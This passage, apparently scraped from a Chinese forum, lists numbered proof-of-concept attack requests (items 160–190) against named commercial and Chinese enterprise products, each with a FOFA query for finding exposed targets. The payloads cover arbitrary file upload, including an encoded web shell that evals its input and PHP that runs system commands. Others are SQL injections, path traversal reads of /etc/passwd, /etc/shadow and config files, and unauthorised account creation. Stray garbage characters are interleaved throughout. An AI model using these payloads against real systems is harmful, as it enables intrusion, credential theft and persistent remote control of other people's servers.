* W4 }; J" l8 s* y7 q<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
( ~' x, o- Q+ S1 {( F/ E: S<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
! @# L$ b# o$ b6 m( Z. R</soap:Envelope>
2 D8 a$ n) ?6 E- B' J) I- A& {( ]

- ~% u: [3 A; m7 ?/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
- [2 e, F8 H) K% b& Q2 W* OCVE-2024-4956
FOFA：title="Nexus Repository Manager"
% F  i5 x) @: O, C0 T0 KGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
* i9 @% L. _+ t: B& _User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
; C7 h3 _8 ~( t1 \4 OConnection: close
Accept: */*
, E' V4 g; Z* h" D0 I& XAccept-Language: en
Accept-Encoding: gzip
6 _* |1 f/ F2 }9 W9 R4 O$ H( @: n: S( U
$ I% Z3 F' b& b/ I) l- j
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
- ?/ o9 E1 ?* M& R8 p; U0 X) iFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
. H# O" t, \+ K5 @# Z: o: YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip
7 U; u& L/ S: ]9 z' n" L3 J
5 X* C2 y1 h) h! \% |/ K<?xml version="1.0" encoding="utf-8"?>
) I1 X5 ]8 H. y' _  N<soap:Envelope xmlns:xsi="
& v' T  g9 B1 _$ Qhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
, }9 L$ f! _# L1 t</UploadResume>
</soap:Body>
</soap:Envelope>

7 z9 i0 O9 x5 _$ @
' r: Y( \/ O# |8 e' Uhttp://x.x.x.x/dizxdell.aspx

; ~+ q: C7 J0 D) \, y1 B3 T162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
: h- m% }# ], x8 }% x& N" R. pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
- N' t+ I( g. ~$ c" ^4 y( Q+ A
" ~+ F3 `0 @8 L" U------WebKitFormBoundaryeegvclmyurlotuey
" d6 x; x6 |8 g) M) `Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
, N! l: _2 b% ~7 v" p8 SContent-Type: application/octet-stream
6 B5 J+ E' o" ^, F1 E
<% response.write("ujidwqfuuqjalgkvrpqy") %>
) E3 J, p+ b# [  h( X------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
4 y* A  W6 o$ [! i0 G& [
upload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
! p% f: w( b1 Y$ G; l5 O" [
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
! @) V4 K$ v1 O! A. pContent-Disposition: form-data; name="remotePath"

/opt/resources
* Q/ e- z; B0 l7 s7 H! _7 S2 i4 O------WebKitFormBoundaryeegvclmyurlotuey--
+ ~1 n, f8 V5 s8 j& Z" c4 i& j, `

http://x.x.x.x/opt/resources/kjuhitjgk.aspx
6 H/ P: Q& c. Y2 [1 z
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
5 h  _, }/ D$ K) O. VPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
# b4 d5 F$ o+ NConnection: close
Content-Length: 293
# E( ?  j% G5 r6 x) v1 oAccept: */*
Accept-Encoding: gzip, deflate
. T% }  Z2 M* D% x3 ~2 mAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

1 C; j5 T3 v/ e( U------iiqvnofupvhdyrcoqyuujyetjvqgocod
; ~# P! @6 p4 e) t; aContent-Disposition: form-data; name="name"

1.php
$ J8 D$ o6 h/ a% s, {& G------iiqvnofupvhdyrcoqyuujyetjvqgocod
* U, _; v5 c. N9 Y) CContent-Disposition: form-data; name="upfile"; filename="1.php"
' V& r- C2 i4 C  jContent-Type: image/jpeg
6 s7 F' J* }4 Y
rvjhvbhwwuooyiioxega
7 u4 b* w! d6 X' ^7 o( B------iiqvnofupvhdyrcoqyuujyetjvqgocod--
! q: D: [8 x( ]* F( V" f+ D) M
; t$ |0 S, h" B- P8 O
2 E5 J3 I+ w; }" q  u164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
( v" q/ Y+ R( `FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
/ ^" n) z$ r6 y9 l  NAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
) J- ^7 F+ t& t3 @Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
: a, H5 m, N4 I
------dqdaieopnozbkapjacdbdthlvtlyl
- V  o  B0 I, z; FContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
3 l+ [, e# w; X% O
' w* f6 m# {  A  a; l# w<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
& b9 I$ q- w* ^- K8 i( u------dqdaieopnozbkapjacdbdthlvtlyl--
1 `. n, z* O/ s3 I  K
5 ~+ i' c$ h; k6 i7 }" e, H+ i
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
) L2 U5 i, L1 n
165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
, u% J/ _0 F% e7 [# q+ k- KURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

! w' K+ t0 [7 G7 p; r9 U& b0 z  R
) v& P- q. k/ M% e7 z% w# Q8 X+ {; p166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
  j0 _- w- I. F) \+ S9 F  A: zPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
2 f' W4 E' R: ?8 O1 o5 h6 j1 BHost:
1 r1 [4 Z  q) S8 U8 e( cPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
; F: o3 z* R9 o1 x, AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
8 a8 g0 R' b" g* ^3 R% JContent-Length: 89
, `! h) \! m. O- g1 T
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
  u# |4 B5 a" L$ R4 h* N2 n1 T
; K* W+ R9 ?/ x: J9 D. f
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
, F+ [( Z' d* pGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ ~6 g* P/ L" S2 L9 ^Content-Type: application/x-www-form-urlencoded
/ a! j$ @0 r5 i3 lAccept-Encoding: gzip, deflate
4 w4 _" g. u( U" O% zAccept: */*
Connection: keep-alive
7 p$ r& ^) l7 H9 @
# p, Y' E2 x3 l- ~
5 c9 a* K# L+ N( O; y168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
* B5 T3 T5 \. h, j) ?Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
# R/ T! L0 u  H) ^/ nContent-Type: application/x-www-form-urlencoded
% a! H2 t5 a) V; o! QConnection: close

, `8 K1 Q0 n. g' O+ J3 H

" u* e7 ?& ~' m! A* O( Y+ Z/ N169. 宏景EHR downlawbase SQL注入
4 u* t: g/ J( _6 U2 T- V$ \; h8 FFOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
7 U% J7 H" X) k% e; a% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


. v- A! H, T7 q6 @1 @/ }6 {2 N
4 [" w" n9 i# y) r2 ~9 p8 {# y- p5 ~. w170. 宏景EHR DisplayExcelCustomReport 任意文件读取
: |  w3 u6 q1 r1 LFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
" Y% g- \5 d% U; g$ h6 FHost: balalanengliang
* q1 E: v, c* T4 ~( b) ^User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 ], k, d, T7 L: NContent-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
; ~* u. }$ I7 c7 X2 e7 W8 C

171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
# C4 _5 B1 _$ P/ B5 sGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
& e8 P+ w8 t* OHost: your-ip
6 M2 e+ D( O% n  x6 N1 V; QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% u$ t$ o0 y$ y$ LConnection: close
! O9 H* G  c1 ?/ H1 x8 O8 e

3 o/ L, j0 `, ], c5 A# M) M
2 f+ O4 I, C, h) u, O172. DT-高清车牌识别摄像机任意文件读取
7 y4 l- p5 D! u' ]4 b% qFOFA：app="DT-高清车牌识别摄像机"
# y1 A  _* B& Z& [- M! ^5 kGET /../../../../etc/passwd HTTP/1.1
  }- C$ ?3 M! C3 ?, m( K/ wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



1 K) H* T4 U5 l9 g3 F$ A9 W4 e5 Q/ U173. Check Point 安全网关任意文件读取
) K" F2 c8 w2 B! Z% cCVE-2024-24919
* e0 J; M5 D* ~7 l* G! s. A7 vFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
3 \5 [( X; r+ pHost: your-ip
Content-Type: application/x-www-form-urlencoded
9 I  r; R. N+ G; s8 u( T$ _5 _* h
aCSHELL/../../../../../../../etc/shadow



174. 金和OA C6 FileDownLoad.aspx 任意文件读取
: g1 x  b% g9 J( JFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
2 I1 v4 @( j3 Q: v2 O- XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 P* Y2 S- k0 B3 ?" R0 tAccept-Encoding: gzip, deflate, br
7 ^# N$ ]. s6 T9 g0 k$ Y* gAccept-Language: zh-CN,zh;q=0.9
Connection: close
# I( U9 `' L* F7 `, O" _

" R- c8 J! L1 N- Q9 p4 e) L, z' X
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
8 V& O( Q1 }$ X8 VFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 ^; W% f5 a8 ^5 }- R5 Q& N' EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 p0 O  ?; r: v- o7 W8 JConnection: close
0 z- P9 _' L% D! M4 t' TUpgrade-Insecure-Requests: 1


4 k3 i+ H0 Z) [) [3 `/ G3 h176. 电信网关配置管理系统 rewrite.php 文件上传
+ |8 D; K, G  S, [3 W  SFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
/ T1 k# U: b7 o$ wHost: your-ip
' b; }1 `8 @; f2 g8 v9 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

4 y1 o+ y3 I) Y2 o------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
( n$ W" I# r2 c- j+ h. K7 |
3 _. ?$ f: ~. e$ R<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


( Q: n5 Q6 `$ z- q& W  R' k------WebKitFormBoundaryOKldnDPT--
( L; W( b  h4 R) B

4 k" ?5 g% D- n* f% i
. f9 ]/ O, L! @  k! c& `, I& y177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
7 a- i% t6 a7 S  A6 G/userLogin.asp/../actionpolicy_status/../M60.cfg
" U0 M8 I& H) P3 Y/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
) r- F! S' Q5 n4 |' ?/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
' S' H5 l: s; _3 K  t- j/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
+ K, g6 E* v1 `  }/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
- m* e! j6 h, w# r4 p/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/ [) p, q9 }) ]/ t. W$ c- e0 {/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
# U( f* W* Q3 g- K/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
' e  p, B  @" i/ ]8 c, Y  a& y# O/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
* Q1 l$ f3 G& ?3 h/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
9 P2 i* L  `0 M6 s2 `7 _5 L/ t

; i) _. c$ X2 b3 s7 A178. H3C校园网自助服务系统-flexfileupload-任意文件上传
  K5 y5 b+ s' k! R' U& BFOFA：header="/selfservice"
" f+ G* g8 h/ `7 n6 r; iPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
  _3 i7 a: |9 ?, tAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
2 U9 u; G6 J$ y+ ^Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
$ {7 ?2 k6 \3 X$ |Content-Length: 255

# \1 ], @$ S( m12234
-----------------aqutkea7vvanpqy3rh2l--

  n5 Q7 A4 P: O" S4 _3 Y/ u
2 o7 J. y' z, D* q# }' Z8 J/ a% d" nGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
& T$ K) v- |  c" d$ p: ]Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=

4 g. m6 F- |/ V% r; X' p
180. 帮管客 CRM jiliyu SQL注入
2 p2 L+ |1 ?% [( O! v: ~FOFA：app="帮管客-CRM"
1 T$ l$ H& o. ~! {! RGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
+ A5 ~# J! S1 t: r$ b7 h' t# C6 JHost: your-ip
5 m7 [8 p/ M9 l! ?# d( W; p8 K" g$ ]' XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 a# L" |+ @& `4 _( B0 j& G9 {$ nConnection: close
3 ]# ^% a, r$ F" B, u

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
2 y* w9 B" V1 j0 Q( UPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
% t- A: e( l7 |: fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 F9 t* e4 h8 h, W; I1 z; nAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
* Z2 \! @# [2 {, P9 h$ ]* D% xConnection: close
Content-Type: application/x-www-form-urlencoded

9 f1 D) W5 o$ `8 w. Z# x  K
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


, D# g2 B" Q2 E/ ^& I, s182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
/ g! e" w* \! `Accept-Language: zh-CN,zh;q=0.9
9 B! v. _  w3 |: {' fConnection: close
5 [" y4 }( W3 V  _! \5 k) n, mContent-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

3 R. i* w, ?. B9 Z. f' B3 I+ T
7 h# k$ ~, N# b, @8 y/ D183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
! f( z8 H  h  y. y. b. aGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
' d- u0 F' s: Y1 [! g5 }Host: your-ip
" q/ G  w* c, Y8 SUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
' u, K9 ~% i: o7 x" C
6 }. f# h- H+ ?$ @
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
; E$ F( M9 `/ \# ~6 R8 JPOST /soap/AddUser HTTP/1.1
. q0 k/ y' E! [5 M3 f6 XHost: your-ip
Accept-Encoding: gzip, deflate
8 D! G0 N  D6 k: M  h6 P7 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
/ N0 L  ?; j. M' A  n' O! G6 \/ x/ |Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! {$ @, c" A$ E& _4 L  _- YX-Requested-With: XMLHttpRequest
" s9 s. U& M% V
& y6 R% U4 X( h- b% H
. C$ Y- K/ D  W) ]2 o' xinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
5 o  C- z9 U# y7 A2 I/ u

$ l# u: G3 f' E2 s$ Z185. 瑞友天翼应用虚拟化系统SQL注入
1 F4 E5 b0 }$ A3 N% v5 |version < 7.0.5.1
7 @1 t2 _/ B2 S4 s- @$ \FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
4 H; O1 d' F! Z8 c  r3 R$ K/ cHost: host

9 x% @1 P3 w; P( P( B/ f& \7 ?
% g( M' ]! k( m4 S  `  j; s( w186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
/ e0 q& ^, {4 MPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
% S4 I" T/ ?6 ]# P+ ?2 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
: S5 C, `3 I2 P6 L% \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 Z8 Q( X( D9 q+ F1 t# DAccept-Encoding: gzip, deflate
( X( c3 X3 W# Q3 t8 h* PConnection: close
; E6 R1 O' t( T; \  i6 RContent-Type: application/x-www-form-urlencoded
5 ?) ]' ^5 L7 \$ y# n. _
5 c5 a, z, O. y! ?req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
5 M8 }6 r- b3 c& G. T) Y2 B  u
' H5 ]7 K. a# W3 F3 Z: u
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
8 ]4 l8 p  [# J) sFOFA："Mura CMS"
; u8 G, ^) }) L/ n# o' }POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
# k( [- ~' w; rHost: your-ip
Content-Type: application/x-www-form-urlencoded
2 b' V( c$ g/ e8 z- O5 U% P' j( T
4 w$ i, S8 t2 a7 X0 g
! D/ i" y) v! t9 ^. K+ Jobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
+ G* E) t! h7 m4 v7 @  Vversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
# J( l) C8 f! P+ H( RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ ~9 c  v- w# r: L. R8 f" w$ xAccept-Encoding: gzip, deflate
! J3 ]( e- Z0 W- e; Q/ rAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
4 E. V% ]/ R5 J& }+ f/ [. D" jConnection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
4 t6 o- O: ]1 d4 M" PGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
- {. f) J+ h; GHost: your-ip
/ N& M  j5 t4 l. W. u% tUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# N7 A5 l( ^/ s  E, J3 B7 |. }Accept-Language: zh-CN,zh;q=0.9
Connection: close


1 X! I1 L, d4 c  |" N5 `! ]190. 短视频矩阵营销系统 poihuoqu 任意文件读取
, w* j" o8 V" QFOFA：title=="短视频矩阵营销系统"
